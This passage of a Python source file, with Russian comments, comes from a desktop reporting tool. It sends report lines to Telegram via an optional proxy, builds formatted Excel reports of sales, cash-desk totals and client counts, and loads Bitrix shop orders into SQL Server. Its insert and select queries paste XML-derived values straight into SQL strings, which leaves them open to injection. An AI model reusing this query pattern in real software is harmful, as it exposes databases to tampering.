addr=self.telegram_proxy_ip, port=int(self.telegram_proxy_port), rdns=True, username=self.telegram_proxy_username, password=self.telegram_proxy_password, ) else: socks.setdefaultproxy(proxy_type=getattr(socks, self.telegram_proxy_type), addr=self.telegram_proxy_ip, port=int(self.telegram_proxy_port), ) socket.socket = socks.socksocket bot = telepot.Bot(self.telegram_token) for line in self.sms_report_list: logging.info(f'{__name__}: {str(datetime.now())[:-7]}: ' f'Отправка сообщения {self.sms_report_list.index(line) + 1} из {len(self.sms_report_list)}') bot.sendMessage(self.telegram_chanel_id, line) if self.telegram_proxy_use: logging.info( f'{__name__}: {str(datetime.now())[:-7]}: Разъединение с прокси-сервером {self.telegram_proxy_ip}...') socks.setdefaultproxy() socket.socket = socks.socksocket def save_organisation_total(self, itog_report): """ Сохраняет Итоговый отчет в Excel """ organisation_total = {} for key in itog_report: organisation_total[itog_report[key][3]] = {} for key in itog_report: organisation_total[itog_report[key][3]][itog_report[key][2]] = [] for key in itog_report: organisation_total[itog_report[key][3]][itog_report[key][2]].append((key, itog_report[key][0], itog_report[key][1])) # определяем стили h1 = Font(name='Times New Roman', size=18, bold=True, italic=False, vertAlign=None, underline='none', strike=False, color='FF000000') h2 = Font(name='Times New Roman', size=14, bold=True, italic=False, vertAlign=None, underline='none', strike=False, color='FF000000') h3 = Font(name='Times New Roman', size=11, bold=True, italic=False, vertAlign=None, underline='none', strike=False, color='FF000000') font = Font(name='Times New Roman', size=9, bold=False, italic=False, vertAlign=None, underline='none', strike=False, color='FF000000') font_bold = Font(name='Times New Roman', size=9, bold=True, italic=False, vertAlign=None, underline='none', strike=False, color='FF000000') fill = PatternFill(fill_type='solid', start_color='c1c1c1', end_color='c2c2c2') align_top = Alignment(horizontal='general', vertical='top', text_rotation=0, wrap_text=False, shrink_to_fit=False, indent=0, ) align_bottom = Alignment(horizontal='general', vertical='bottom', text_rotation=0, wrap_text=False, shrink_to_fit=False, indent=0, ) border = Border(left=Side(border_style='thin', color='FF000000'), right=Side(border_style='thin', color='FF000000'), top=Side(border_style='thin', color='FF000000'), bottom=Side(border_style='thin', color='FF000000'), diagonal=Side(border_style='thin', color='FF000000'), diagonal_direction=0, outline=Side(border_style='thin', color='FF000000'), vertical=Side(border_style='thin', color='FF000000'), horizontal=Side(border_style='thin', color='FF000000') ) border_top_bottom = Border(bottom=Side(border_style='thin', color='FF000000'), top=Side(border_style='thin', color='FF000000'), ) border_right = Border(right=Side(border_style='thin', color='FF000000')) border_left = Border(left=Side(border_style='thin', color='FF000000')) border_top = Border(top=Side(border_style='thin', color='FF000000')) border_left_top = Border(top=Side(border_style='thin', color='FF000000'), left=Side(border_style='thin', color='FF000000'), ) border_right_top = Border(top=Side(border_style='thin', color='FF000000'), right=Side(border_style='thin', color='FF000000'), ) align_center = Alignment(horizontal='center', vertical='bottom', text_rotation=0, wrap_text=False, shrink_to_fit=False, indent=0) align_left = Alignment(horizontal='left', vertical='bottom', text_rotation=0, wrap_text=False, shrink_to_fit=False, indent=0) number_format = 'General' protection = Protection(locked=True, hidden=False) column = ['', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M'] self.row = '0' def next_row(): self.row = str(int(self.row) + 1) return self.row # объект wb = Workbook() # активный лист ws = wb.active # название страницы # ws = wb.create_sheet('первая страница', 0) ws.title = 'Итоговый отчет' # шрифты ws['C1'].font = h1 # выравнивание ws['C1'].alignment = align_left # Ширина стролбцов ws.column_dimensions['A'].width = 1 / 7 * 8 ws.column_dimensions['B'].width = 1 / 7 * 8 ws.column_dimensions['C'].width = 1 / 7 * 80 ws.column_dimensions['D'].width = 1 / 7 * 8 ws.column_dimensions['E'].width = 1 / 7 * 88 ws.column_dimensions['F'].width = 1 / 7 * 8 ws.column_dimensions['G'].width = 1 / 7 * 24 ws.column_dimensions['H'].width = 1 / 7 * 8 ws.column_dimensions['I'].width = 1 / 7 * 80 ws.column_dimensions['J'].width = 1 / 7 * 8 ws.column_dimensions['K'].width = 1 / 7 * 144 ws.column_dimensions['L'].width = 1 / 7 * 144 ws.column_dimensions['M'].width = 1 / 7 * 8 # значение ячейки # ws['A1'] = "Hello!" ws[column[3] + next_row()] = 'Итоговый отчет' ws.merge_cells(start_row=self.row, start_column=3, end_row=self.row, end_column=12) ws[column[1] + next_row()] = '' ws[column[3] + next_row()] = organisation_total['Организация']['Организация'][0][0] ws.merge_cells(start_row=self.row, start_column=3, end_row=self.row, end_column=12) ws[column[3] + self.row].font = font ws[column[3] + self.row].alignment = align_top ws[column[1] + next_row()] = '' ws[column[3] + next_row()] = 'За период с:' ws[column[3] + self.row].font = font ws[column[3] + self.row].alignment = align_top ws[column[5] + self.row] = itog_report['Дата'][0].strftime("%d.%m.%Y") ws[column[5] + self.row].font = font_bold ws[column[5] + self.row].alignment = align_top ws[column[7] + self.row] = 'По:' ws[column[7] + self.row].font = font ws[column[7] + self.row].alignment = align_top ws[column[9] + self.row] = (itog_report['Дата'][1] - timedelta(1)).strftime("%d.%m.%Y") ws[column[9] + self.row].font = font_bold ws[column[9] + self.row].alignment = align_top # ТАБЛИЦА def merge_table(): ws.merge_cells(start_row=self.row, start_column=2, end_row=self.row, end_column=9) ws.merge_cells(start_row=self.row, start_column=10, end_row=self.row, end_column=11) ws.merge_cells(start_row=self.row, start_column=12, end_row=self.row, end_column=13) ws[column[2] + self.row].font = font ws[column[10] + self.row].font = font ws[column[12] + self.row].font = font ws[column[2] + self.row].alignment = align_top ws[column[10] + self.row].alignment = align_top ws[column[12] + self.row].alignment = align_top b = 2 while b <= 13: ws[column[b] + self.row].border = border b += 1 def merge_table_h3(): ws.merge_cells(start_row=self.row, start_column=2, end_row=self.row, end_column=9) ws.merge_cells(start_row=self.row, start_column=10, end_row=self.row, end_column=11) ws.merge_cells(start_row=self.row, start_column=12, end_row=self.row, end_column=13) ws[column[2] + self.row].font = h3 ws[column[10] + self.row].font = h3 ws[column[12] + self.row].font = h3 ws[column[2] + self.row].alignment = align_top ws[column[10] + self.row].alignment = align_top ws[column[12] + self.row].alignment = align_top ws[column[2] + self.row].border = border_left ws[column[13] + self.row].border = border_right def merge_table_h2(): ws.merge_cells(start_row=self.row, start_column=2, end_row=self.row, end_column=9) ws.merge_cells(start_row=self.row, start_column=10, end_row=self.row, end_column=11) ws.merge_cells(start_row=self.row, start_column=12, end_row=self.row, end_column=13) ws[column[2] + self.row].font = h2 ws[column[10] + self.row].font = h2 ws[column[12] + self.row].font = h2 ws[column[2] + self.row].alignment = align_top ws[column[10] + self.row].alignment = align_top ws[column[12] + self.row].alignment = align_top ws[column[2] + self.row].border = border_left ws[column[13] + self.row].border = border_right def merge_width_h2(): ws.merge_cells(start_row=self.row, start_column=2, end_row=self.row, end_column=13) ws[column[2] + self.row].font = h2 ws[column[2] + self.row].alignment = align_top b = 2 while b <= 13: if b == 2: ws[column[b] + self.row].border = border_left_top elif b == 13: ws[column[b] + self.row].border = border_right_top else: ws[column[b] + self.row].border = border_top b += 1 def merge_width_h3(): ws.merge_cells(start_row=self.row, start_column=2, end_row=self.row, end_column=13) ws[column[2] + self.row].font = h3 ws[column[2] + self.row].alignment = align_top b = 2 while b <= 13: if b == 2: ws[column[b] + self.row].border = border_left elif b == 13: ws[column[b] + self.row].border = border_right b += 1 ws[column[2] + next_row()] = 'Название' ws[column[10] + self.row] = 'Количество' ws[column[12] + self.row] = 'Сумма' merge_table() ws[column[2] + self.row].font = h3 ws[column[10] + self.row].font = h3 ws[column[12] + self.row].font = h3 ws[column[2] + self.row].alignment = align_top ws[column[10] + self.row].alignment = align_top ws[column[12] + self.row].alignment = align_top groups = [ 'Депозит', 'Карты', 'Услуги', 'Товары', 'Платные зоны', ] all_count = 0 all_sum = 0 try: for gr in groups: ws[column[2] + next_row()] = gr merge_width_h2() group_count = 0 group_sum = 0 organisation_total_groups = organisation_total.get(gr) if not organisation_total_groups: continue for group in organisation_total_groups: ws[column[2] + next_row()] = group merge_width_h3() service_count = 0 service_sum = 0 servises = organisation_total_groups.get(group, []) if not servises: continue for service in servises: try: service_count += service[1] service_sum += service[2] except TypeError: pass ws[column[2] + next_row()] = service[0] ws[column[10] + self.row] = service[1] ws[column[12] + self.row] = service[2] ws[column[12] + self.row].number_format = '#,##0.00 ₽' merge_table() ws[column[10] + next_row()] = service_count ws[column[12] + self.row] = service_sum ws[column[12] + self.row].number_format = '#,##0.00 ₽' merge_table_h3() group_count += service_count group_sum += service_sum ws[column[10] + next_row()] = group_count ws[column[12] + self.row] = group_sum ws[column[12] + self.row].number_format = '#,##0.00 ₽' merge_table_h2() all_count += group_count all_sum += group_sum group_count = 0 group_sum = 0 except KeyError: pass bars_total_sum = organisation_total["Итого по отчету"][""][0] if all_sum == bars_total_sum[2]: ws[column[2] + next_row()] = bars_total_sum[0] ws[column[10] + self.row] = bars_total_sum[1] ws[column[12] + self.row] = bars_total_sum[2] self.total_report_sum = all_sum else: error_code = f'Ошибка: Итоговые суммы не совпадают.' error_message = f'"Итого по отчету" из Барса ({bars_total_sum[2]})' \ f' не совпадает с итоговой суммой по формируемым строкам ({all_sum}).' logging.error(f'{__name__}: {str(datetime.now())[:-7]}: {error_code} {error_message}') self.show_dialog(error_code, error_message) return None ws[column[12] + self.row].number_format = '#,##0.00 ₽' merge_table_h2() ws[column[2] + self.row].alignment = align_bottom ws[column[10] + self.row].alignment = align_bottom ws[column[12] + self.row].alignment = align_bottom b = 2 while b <= 13: ws[column[b] + self.row].border = border_top_bottom b += 1 end_line = int(self.row) # раскрвшивание фона для заголовков i = 2 while i <= 13: ws[column[i] + '6'].fill = fill i += 1 # обводка # ws['A3'].border = border # вручную устанавливаем высоту первой строки rd = ws.row_dimensions[1] rd.height = 21.75 # увеличиваем все строки по высоте max_row = ws.max_row i = 2 while i <= max_row: rd = ws.row_dimensions[i] rd.height = 18 i += 1 # Высота строк ws.row_dimensions[2].height = 5.25 ws.row_dimensions[4].height = 6.75 ws.row_dimensions[end_line].height = 30.75 # выравнивание столбца for cellObj in ws['A2:A5']: for cell in cellObj: ws[cell.coordinate].alignment = align_left # перетягивание ячеек # https://stackoverflow.com/questions/13197574/openpyxl-adjust-column-width-size # dims = {} # for row in ws.rows: # for cell in row: # if cell.value: # dims[cell.column] = max((dims.get(cell.column, 0), len(cell.value))) # for col, value in dims.items(): # # value * коэфициент # ws.column_dimensions[col].width = value * 1.5 # сохранение файла в текущую директорию if itog_report['Дата'][0] == itog_report["Дата"][1] - timedelta(1): date_ = datetime.strftime(itog_report["Дата"][0], "%Y-%m-%d") else: date_ = f'{datetime.strftime(itog_report["Дата"][0], "%Y-%m-%d")} - ' \ f'{datetime.strftime(itog_report["Дата"][1] - timedelta(1), "%Y-%m-%d")}' path = self.local_folder + self.path + date_ + \ f' Итоговый отчет по {organisation_total["Организация"]["Организация"][0][0]} ' + ".xlsx" logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Сохранение Итогового отчета ' f'по {organisation_total["Организация"]["Организация"][0][0]} в {path}') path = self.create_path(path) self.save_file(path, wb) return path def save_cashdesk_report(self, cashdesk_report): """ Сохраняет Суммовой отчет в Excel """ # определяем стили h1 = Font(name='Times New Roman', size=18, bold=True, italic=False, vertAlign=None, underline='none', strike=False, color='FF000000') h2 = Font(name='Times New Roman', size=14, bold=True, italic=False, vertAlign=None, underline='none', strike=False, color='FF000000') h3 = Font(name='Times New Roman', size=10, bold=True, italic=False, vertAlign=None, underline='none', strike=False, color='FF000000') font = Font(name='Times New Roman', size=9, bold=False, italic=False, vertAlign=None, underline='none', strike=False, color='FF000000') font_bold = Font(name='Times New Roman', size=9, bold=True, italic=False, vertAlign=None, underline='none', strike=False, color='FF000000') font_red = Font(name='Times New Roman', size=9, bold=True, italic=False, vertAlign=None, underline='none', strike=False, color='FFFF0000') fill = PatternFill(fill_type='solid', start_color='c1c1c1', end_color='c2c2c2') align_top = Alignment(horizontal='general', vertical='top', text_rotation=0, wrap_text=False, shrink_to_fit=False, indent=0, ) align_bottom = Alignment(horizontal='general', vertical='bottom', text_rotation=0, wrap_text=False, shrink_to_fit=False, indent=0, ) border = Border(left=Side(border_style='thin', color='FF000000'), right=Side(border_style='thin', color='FF000000'), top=Side(border_style='thin', color='FF000000'), bottom=Side(border_style='thin', color='FF000000'), diagonal=Side(border_style='thin', color='FF000000'), diagonal_direction=0, outline=Side(border_style='thin', color='FF000000'), vertical=Side(border_style='thin', color='FF000000'), horizontal=Side(border_style='thin', color='FF000000') ) border_top_bottom = Border(bottom=Side(border_style='thin', color='FF000000'), top=Side(border_style='thin', color='FF000000'), ) border_right = Border(right=Side(border_style='thin', color='FF000000')) border_left = Border(left=Side(border_style='thin', color='FF000000')) border_top = Border(top=Side(border_style='thin', color='FF000000')) border_left_top = Border(top=Side(border_style='thin', color='FF000000'), left=Side(border_style='thin', color='FF000000'), ) border_right_top = Border(top=Side(border_style='thin', color='FF000000'), right=Side(border_style='thin', color='FF000000'), ) align_center = Alignment(horizontal='center', vertical='bottom', text_rotation=0, wrap_text=False, shrink_to_fit=False, indent=0) align_left = Alignment(horizontal='left', vertical='bottom', text_rotation=0, wrap_text=False, shrink_to_fit=False, indent=0) number_format = 'General' protection = Protection(locked=True, hidden=False) column = ['', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N'] self.row = '0' def next_row(): self.row = str(int(self.row) + 1) return self.row # объект wb = Workbook() # активный лист ws = wb.active # название страницы # ws = wb.create_sheet('первая страница', 0) ws.title = 'Суммовой отчет по чековой ленте' # шрифты ws['A1'].font = h1 # выравнивание ws['A1'].alignment = align_left # Ширина стролбцов ws.column_dimensions['A'].width = 1 / 7 * 124 ws.column_dimensions['B'].width = 1 / 7 * 88 ws.column_dimensions['C'].width = 1 / 7 * 28 ws.column_dimensions['D'].width = 1 / 7 * 24 ws.column_dimensions['E'].width = 1 / 7 * 32 ws.column_dimensions['F'].width = 1 / 7 * 1 ws.column_dimensions['G'].width = 1 / 7 * 79 ws.column_dimensions['H'].width = 1 / 7 * 3 ws.column_dimensions['I'].width = 1 / 7 * 5 ws.column_dimensions['J'].width = 1 / 7 * 96 ws.column_dimensions['K'].width = 1 / 7 * 88 ws.column_dimensions['L'].width = 1 / 7 * 8 ws.column_dimensions['M'].width = 1 / 7 * 80 ws.column_dimensions['N'].width = 1 / 7 * 96 # значение ячейки # ws['A1'] = "Hello!" ws[column[1] + next_row()] = 'Суммовой отчет по чековой ленте' ws.merge_cells(start_row=self.row, start_column=1, end_row=self.row, end_column=len(column)-1) # шрифты ws[column[1] + self.row].font = h1 # выравнивание ws[column[1] + self.row].alignment = align_left # Высота строк ws.row_dimensions[1].height = 24 ws[column[1] + next_row()] = f'{cashdesk_report["Организация"][0][0]}' ws.merge_cells(start_row=self.row, start_column=1, end_row=self.row, end_column=len(column) - 1) ws[column[1] + self.row].font = font ws[column[1] + self.row].alignment = align_top ws[column[1] + next_row()] = 'За период с:' ws[column[1] + self.row].font = font ws[column[1] + self.row].alignment = align_top ws[column[2] + self.row] = cashdesk_report['Дата'][0][0].strftime("%d.%m.%Y") ws.merge_cells(start_row=self.row, start_column=2, end_row=self.row, end_column=3) ws[column[2] + self.row].font = font_bold ws[column[2] + self.row].alignment = align_top ws[column[4] + self.row] = 'по' ws[column[4] + self.row].font = font ws[column[4] + self.row].alignment = align_top ws[column[5] + self.row] = (cashdesk_report['Дата'][0][1] - timedelta(1)).strftime("%d.%m.%Y") ws.merge_cells(start_row=self.row, start_column=5, end_row=self.row, end_column=7) ws[column[5] + self.row].font = font_bold ws[column[5] + self.row].alignment = align_top # ТАБЛИЦА def merge_table(): ws.merge_cells(start_row=self.row, start_column=1, end_row=self.row, end_column=2) ws.merge_cells(start_row=self.row, start_column=3, end_row=self.row, end_column=6) ws.merge_cells(start_row=self.row, start_column=7, end_row=self.row, end_column=9) ws.merge_cells(start_row=self.row, start_column=11, end_row=self.row, end_column=12) ws[column[1] + self.row].font = font ws[column[3] + self.row].font = font ws[column[7] + self.row].font = font ws[column[10] + self.row].font = font ws[column[11] + self.row].font = font ws[column[13] + self.row].font = font ws[column[14] + self.row].font = font ws[column[1] + self.row].alignment = align_top ws[column[3] + self.row].alignment = align_top ws[column[7] + self.row].alignment = align_top ws[column[10] + self.row].alignment = align_top ws[column[11] + self.row].alignment = align_top ws[column[13] + self.row].alignment = align_top ws[column[14] + self.row].alignment = align_top ws[column[3] + self.row].number_format = '#,##0.00 ₽' ws[column[7] + self.row].number_format = '#,##0.00 ₽' ws[column[10] + self.row].number_format = '#,##0.00 ₽' ws[column[11] + self.row].number_format = '#,##0.00 ₽' ws[column[13] + self.row].number_format = '#,##0.00 ₽' ws[column[14] + self.row].number_format = '#,##0.00 ₽' b = 1 while b < len(column): ws[column[b] + self.row].border = border b += 1 def merge_table_h3(): ws.merge_cells(start_row=self.row, start_column=1, end_row=self.row, end_column=2) ws.merge_cells(start_row=self.row, start_column=3, end_row=self.row, end_column=6) ws.merge_cells(start_row=self.row, start_column=7, end_row=self.row, end_column=9) ws.merge_cells(start_row=self.row, start_column=11, end_row=self.row, end_column=12) ws[column[1] + self.row].font = h3 ws[column[3] + self.row].font = h3 ws[column[7] + self.row].font = h3 ws[column[10] + self.row].font = h3 ws[column[11] + self.row].font = h3 ws[column[13] + self.row].font = h3 ws[column[14] + self.row].font = h3 ws[column[1] + self.row].alignment = align_top ws[column[3] + self.row].alignment = align_top ws[column[7] + self.row].alignment = align_top ws[column[10] + self.row].alignment = align_top ws[column[11] + self.row].alignment = align_top ws[column[13] + self.row].alignment = align_top ws[column[14] + self.row].alignment = align_top ws[column[3] + self.row].number_format = '#,##0.00 ₽' ws[column[7] + self.row].number_format = '#,##0.00 ₽' ws[column[10] + self.row].number_format = '#,##0.00 ₽' ws[column[11] + self.row].number_format = '#,##0.00 ₽' ws[column[13] + self.row].number_format = '#,##0.00 ₽' ws[column[14] + self.row].number_format = '#,##0.00 ₽' b = 1 while b < len(column): ws[column[b] + self.row].border = border b += 1 def merge_table_red(): ws.merge_cells(start_row=self.row, start_column=1, end_row=self.row, end_column=2) ws.merge_cells(start_row=self.row, start_column=3, end_row=self.row, end_column=6) ws.merge_cells(start_row=self.row, start_column=7, end_row=self.row, end_column=9) ws.merge_cells(start_row=self.row, start_column=11, end_row=self.row, end_column=12) ws[column[1] + self.row].font = font_red ws[column[3] + self.row].font = font_red ws[column[7] + self.row].font = font_red ws[column[10] + self.row].font = font_red ws[column[11] + self.row].font = font_red ws[column[13] + self.row].font = font_red ws[column[14] + self.row].font = font_red ws[column[1] + self.row].alignment = align_top ws[column[3] + self.row].alignment = align_top ws[column[7] + self.row].alignment = align_top ws[column[10] + self.row].alignment = align_top ws[column[11] + self.row].alignment = align_top ws[column[13] + self.row].alignment = align_top ws[column[14] + self.row].alignment = align_top ws[column[3] + self.row].number_format = '#,##0.00 ₽' ws[column[7] + self.row].number_format = '#,##0.00 ₽' ws[column[10] + self.row].number_format = '#,##0.00 ₽' ws[column[11] + self.row].number_format = '#,##0.00 ₽' ws[column[13] + self.row].number_format = '#,##0.00 ₽' ws[column[14] + self.row].number_format = '#,##0.00 ₽' b = 1 while b < len(column): ws[column[b] + self.row].border = border b += 1 def merge_width_red(): ws.merge_cells(start_row=self.row, start_column=1, end_row=self.row, end_column=len(column) - 1) ws[column[1] + self.row].font = font_red ws[column[1] + self.row].alignment = align_top b = 1 while b < len(column): if b == 1: ws[column[b] + self.row].border = border_left elif b == len(column) - 1: ws[column[b] + self.row].border = border_right else: ws[column[b] + self.row].border = border b += 1 ws[column[1] + next_row()] = 'Касса №' ws[column[3] + self.row] = 'Сумма' ws[column[7] + self.row] = 'Наличными' ws[column[10] + self.row] = 'Безналичными' ws[column[11] + self.row] = 'Со счета' ws[column[13] + self.row] = 'Бонусами' ws[column[14] + self.row] = 'LSI' merge_table_h3() # раскрвшивание фона для заголовков b = 1 while b < len(column): ws[column[b] + self.row].fill = fill b += 1 for typpe in cashdesk_report: if typpe != 'Дата' and typpe != 'Организация': if typpe != 'Итого': ws[column[1] + next_row()] = typpe merge_width_red() for line in cashdesk_report[typpe]: ws[column[1] + next_row()] = line[0] ws[column[3] + self.row] = line[1] ws[column[7] + self.row] = line[2] ws[column[10] + self.row] = line[3] ws[column[11] + self.row] = line[4] ws[column[13] + self.row] = line[5] ws[column[14] + self.row] = line[6]-line[3] if line[0] == 'Итого': merge_table_red() elif line[0] == 'Итого по отчету': merge_table_h3() else: merge_table() # увеличиваем все строки по высоте max_row = ws.max_row i = 2 while i <= max_row: rd = ws.row_dimensions[i] rd.height = 18 i += 1 if cashdesk_report['Дата'][0][0] == cashdesk_report["Дата"][0][1] - timedelta(1): date_ = datetime.strftime(cashdesk_report["Дата"][0][0], "%Y-%m-%d") else: date_ = f'{datetime.strftime(cashdesk_report["Дата"][0][0], "%Y-%m-%d")} - ' \ f'{datetime.strftime(cashdesk_report["Дата"][0][1] - timedelta(1), "%Y-%m-%d")}' path = self.local_folder + self.path + date_ + f' Суммовой отчет по {cashdesk_report["Организация"][0][0]}' + ".xlsx" logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Сохранение Суммового отчета ' f'по {cashdesk_report["Организация"][0][0]} в {path}') path = self.create_path(path) self.save_file(path, wb) return path def save_client_count_totals(self, client_count_totals_org): """ Сохраняет отчет по количеству клиентов за день в Excel """ # определяем стили h1 = Font(name='Times New Roman', size=18, bold=True, italic=False, vertAlign=None, underline='none', strike=False, color='FF000000') font = Font(name='Times New Roman', size=9, bold=False, italic=False, vertAlign=None, underline='none', strike=False, color='FF000000') font_bold = Font(name='Times New Roman', size=9, bold=True, italic=False, vertAlign=None, underline='none', strike=False, color='FF000000') fill = PatternFill(fill_type='solid', start_color='c1c1c1', end_color='c2c2c2') align_top = Alignment(horizontal='general', vertical='top', text_rotation=0, wrap_text=False, shrink_to_fit=False, indent=0, ) border = Border(left=Side(border_style='thin', color='FF000000'), right=Side(border_style='thin', color='FF000000'), top=Side(border_style='thin', color='FF000000'), bottom=Side(border_style='thin', color='FF000000'), diagonal=Side(border_style='thin', color='FF000000'), diagonal_direction=0, outline=Side(border_style='thin', color='FF000000'), vertical=Side(border_style='thin', color='FF000000'), horizontal=Side(border_style='thin', color='FF000000') ) align_left = Alignment(horizontal='left', vertical='bottom', text_rotation=0, wrap_text=False, shrink_to_fit=False, indent=0) number_format = 'General' protection = Protection(locked=True, hidden=False) column = ['', 'A', 'B', 'C', 'D', 'E'] self.row = '0' def next_row(): self.row = str(int(self.row) + 1) return self.row # объект wb = Workbook() # активный лист ws = wb.active # название страницы # ws = wb.create_sheet('первая страница', 0) ws.title = 'Количество человек за день' # шрифты ws['A1'].font = h1 # выравнивание ws['A1'].alignment = align_left # Ширина стролбцов ws.column_dimensions['A'].width = 1 / 7 * 124 ws.column_dimensions['B'].width = 1 / 7 * 21 ws.column_dimensions['C'].width = 1 / 7 * 95 ws.column_dimensions['D'].width = 1 / 7 * 24 ws.column_dimensions['E'].width = 1 / 7 * 80 # значение ячейки # ws['A1'] = "Hello!" ws[column[1] + next_row()] = 'Количество человек за день' ws.merge_cells(start_row=self.row, start_column=1, end_row=self.row, end_column=len(column)-1) # шрифты ws[column[1] + self.row].font = h1 # выравнивание ws[column[1] + self.row].alignment = align_left # Высота строк ws.row_dimensions[1].height = 24 ws[column[1] + next_row()] = f'{client_count_totals_org[0][0]}' ws.merge_cells(start_row=self.row, start_column=1, end_row=self.row, end_column=len(column) - 1) ws[column[1] + self.row].font = font ws[column[1] + self.row].alignment = align_top ws[column[1] + next_row()] = 'За период с:' ws[column[1] + self.row].font = font ws[column[1] + self.row].alignment = align_top ws[column[2] + self.row] = client_count_totals_org[1][0].strftime("%d.%m.%Y") ws.merge_cells(start_row=self.row, start_column=2, end_row=self.row, end_column=3) ws[column[2] + self.row].font = font_bold ws[column[2] + self.row].alignment = align_top ws[column[4] + self.row] = 'по' ws[column[4] + self.row].font = font ws[column[4] + self.row].alignment = align_top ws[column[5] + self.row] = (client_count_totals_org[-2][0]).strftime("%d.%m.%Y") ws.merge_cells(start_row=self.row, start_column=5, end_row=self.row, end_column=7) ws[column[5] + self.row].font = font_bold ws[column[5] + self.row].alignment = align_top # ТАБЛИЦА def merge_table(): ws.merge_cells(start_row=self.row, start_column=1, end_row=self.row, end_column=2) ws.merge_cells(start_row=self.row, start_column=3, end_row=self.row, end_column=5) ws[column[1] + self.row].font = font ws[column[3] + self.row].font = font ws[column[1] + self.row].alignment = align_top ws[column[3] + self.row].alignment = align_top b = 1 while b < len(column): ws[column[b] + self.row].border = border b += 1 def merge_table_bold(): ws.merge_cells(start_row=self.row, start_column=1, end_row=self.row, end_column=2) ws.merge_cells(start_row=self.row, start_column=3, end_row=self.row, end_column=5) ws[column[1] + self.row].font = font_bold ws[column[3] + self.row].font = font_bold ws[column[1] + self.row].alignment = align_top ws[column[3] + self.row].alignment = align_top b = 1 while b < len(column): ws[column[b] + self.row].border = border b += 1 ws[column[1] + next_row()] = 'Дата' ws[column[3] + self.row] = 'Количество клиентов' merge_table_bold() # раскрвшивание фона для заголовков b = 1 while b < len(column): ws[column[b] + self.row].fill = fill b += 1 for line in client_count_totals_org: try: ws[column[1] + next_row()] = line[0].strftime('%d.%m.%Y') ws[column[3] + self.row] = line[1] merge_table() except AttributeError: pass ws[column[1] + next_row()] = 'Итого' ws[column[3] + self.row] = client_count_totals_org[-1][1] merge_table_bold() # увеличиваем все строки по высоте max_row = ws.max_row i = 2 while i <= max_row: rd = ws.row_dimensions[i] rd.height = 18 i += 1 if client_count_totals_org[0][1]: date_ = datetime.strftime(client_count_totals_org[1][0], "%Y-%m") else: date_ = f'{datetime.strftime(client_count_totals_org[1][0], "%Y-%m-%d")} - ' \ f'{datetime.strftime(client_count_totals_org[-2][0], "%Y-%m-%d")}' path = self.local_folder + self.path + date_ + f' Количество клиентов за день по {client_count_totals_org[0][0]}' + ".xlsx" logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Сохранение отчета по количеству клиентов ' f'по {client_count_totals_org[0][0]} в {path}') path = self.create_path(path) self.save_file(path, wb) return path def parseXML(self, xmlString): """ ЧТЕНИЕ XML С ДАННЫМИ :param xmlString: строка XML из интернет-магазина Битрикс :return: список словарей с данными """ x = re.search(r' encoding="windows-1251"', xmlString) xml = xmlString[:x.start()] + xmlString[x.end():] result = [] products_in_bay = -1 last_elem = '' with open('xml_root.xml', 'w') as f: f.write(xml) root = objectify.fromstring(xml) for doc in root.getchildren(): paydate = '' pay = False status = '' for req in doc.ЗначенияРеквизитов.getchildren(): if req.Наименование == 'Дата оплаты': paydate = datetime.strftime(datetime.strptime(str(req.Значение), '%d.%m.%Y %H:%M:%S'), '%Y-%m-%d %H:%M:%S') if req.Наименование == 'Заказ оплачен': pay = bool(req.Значение) if req.Наименование == 'Статус заказа': status = str(req.Значение) for product in doc.Товары.getchildren(): count = int(product.Количество) while count > 0: count -= 1 result.append(dict()) if last_elem != doc.Ид: products_in_bay = -1 last_elem = doc.Ид products_in_bay += 1 result[len(result) - 1]['Id_P'] = int(str(doc.Ид) + str(products_in_bay)) result[len(result) - 1]['OrderNumber'] = int(doc.Ид) result[len(result) - 1]['ProductId'] = str(product.Ид) result[len(result) - 1]['ProductName'] = str(product.Наименование) result[len(result) - 1]['OrderDate'] = datetime.strptime(str(doc.Дата + ' ' + doc.Время), '%Y-%m-%d %H:%M:%S').strftime( '%Y-%m-%d %H:%M:%S') result[len(result) - 1]['PayDate'] = paydate result[len(result) - 1]['Sum_P'] = Decimal(float(product.ЦенаЗаЕдиницу)) result[len(result) - 1]['Pay_P'] = pay result[len(result) - 1]['Status_P'] = status result[len(result) - 1]['Client_P'] = str(doc.Контрагенты.Контрагент.Ид) if result: logging.info( f'{datetime.strftime(datetime.now(), "%Y-%m-%d %H:%M:%S"):20}: ' f'Новый файл. Количество строк - {len(result)}') else: logging.info(f'{datetime.strftime(datetime.now(), "%Y-%m-%d %H:%M:%S"):20}: Нет новых покупок.') return result def uploadToBase(self, server, database, uid, pwd, Id_P, OrderNumber_P, ProductId_P, ProductName_P, OrderDate_P, PayDate_P, Sum_P, Pay_P, Status_P, Client_P, ): """ Отправка данных в sql-базу """ driver = '{SQL Server}' cnxn = pyodbc.connect(f'DRIVER={driver};SERVER={server};DATABASE={database};UID={uid};PWD={pwd}') cursor = cnxn.cursor() cursor.execute(f""" INSERT INTO [Transactions]( [Id], [OrderNumber], [ProductId], [ProductName], [OrderDate], [PayDate], [Sum], [Pay], [Status], [Client] ) VALUES( {Id_P}, {OrderNumber_P}, '{ProductId_P}', '{ProductName_P}', '{OrderDate_P}', '{PayDate_P}', {Sum_P}, {Pay_P}, '{Status_P}', '{Client_P}' ) """) cnxn.commit() return 'Upload To SQL-Base: Ready' def if_in_base(self, server, database, uid, pwd, Id_P, ): driver = '{SQL Server}' cnxn = pyodbc.connect(f'DRIVER={driver};SERVER={server};DATABASE={database};UID={uid};PWD={pwd}') cursor = cnxn.cursor() cursor.execute(f""" SELECT [Id], [OrderNumber], [ProductId], [ProductName], [OrderDate], [PayDate], [Sum], [Pay], [Status], [Client] FROM [Transactions] WHERE [Id] = {Id_P} """) result = [] while True: row = cursor.fetchone() if row: result.append(row) else: break if len(result) > 0: return False else: return True def load_checkbox(self): """ Установка чекбоксов в соответствии с настройками INI-файла """ logging.info(f'{__name__}: {str(datetime.now())[:-7]}: Загрузка настроек...') self.root.ids.report.ids.split_by_days.active = self.split_by_days self.root.ids.report.ids.finreport_xls.active = self.finreport_xls self.root.ids.report.ids.check_client_count_total_xls.active = self.check_client_count_total_xls self.root.ids.report.ids.check_cashreport_xls.active = self.check_cashreport_xls 